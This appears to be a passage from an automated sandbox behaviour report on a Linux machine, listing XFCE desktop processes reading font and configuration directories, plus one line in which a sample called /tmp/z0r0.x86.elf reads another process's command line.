Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6248)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6249)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 6264)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 6264)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 6264)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 6264)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 6272)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 6272)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 6272)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 6272)	Directory: /home/saturnino/.config	Jump to behavior

Source: /tmp/z0r0.x86.elf (PID: 6241)	File opened: /proc/1582/cmdline	Jump to behavior
